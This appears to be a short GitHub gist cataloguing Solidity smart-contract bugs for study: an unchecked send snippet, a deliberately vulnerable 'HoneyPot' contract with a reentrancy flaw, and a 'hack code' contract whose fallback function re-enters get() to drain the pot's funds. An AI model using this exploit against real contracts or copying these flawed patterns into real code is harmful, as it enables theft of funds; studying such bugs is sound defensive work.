Skip to content

Instantly share code, notes, and snippets.

@eykanal
Last active November 29, 2017 21:18
Show Gist options
  • Save eykanal/e7bfad4a39985ce5b88c878f47897224 to your computer and use it in GitHub Desktop.
Save eykanal/e7bfad4a39985ce5b88c878f47897224 to your computer and use it in GitHub Desktop.
Bugs in solidity

unchecked send

if (gameHasEnded && !( prizePaidOut ) ) {
  winner.send(1000); // send a prize to the winner
  prizePaidOut = True;
}

reentrancy

buggy code

pragma solidity ^0.4.8;
contract HoneyPot {

  mapping (address => uint) public balances;

  function HoneyPot() payable {
    put();
  }

  function put() payable {
    balances[msg.sender] = msg.value;
  }

  function get() {
    if (!msg.sender.call.value(balances[msg.sender])()) {
      throw;
    }
    balances[msg.sender] = 0;
  }

  function() {
    throw;
  }
}

hack code

pragma solidity ^0.4.8;
import "./HoneyPot.sol";
contract HoneyPotCollect {
  HoneyPot public honeypot;
  
  function HoneyPotCollect (address _honeypot) {
    honeypot = HoneyPot(_honeypot);
  }
  
  function kill () {
    suicide(msg.sender);
  }
 
  function collect() payable {
    honeypot.put.value(msg.value)();
    honeypot.get();
  }

  function () payable {
    if (honeypot.balance >= msg.value) {
      honeypot.get();
    }
  }
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment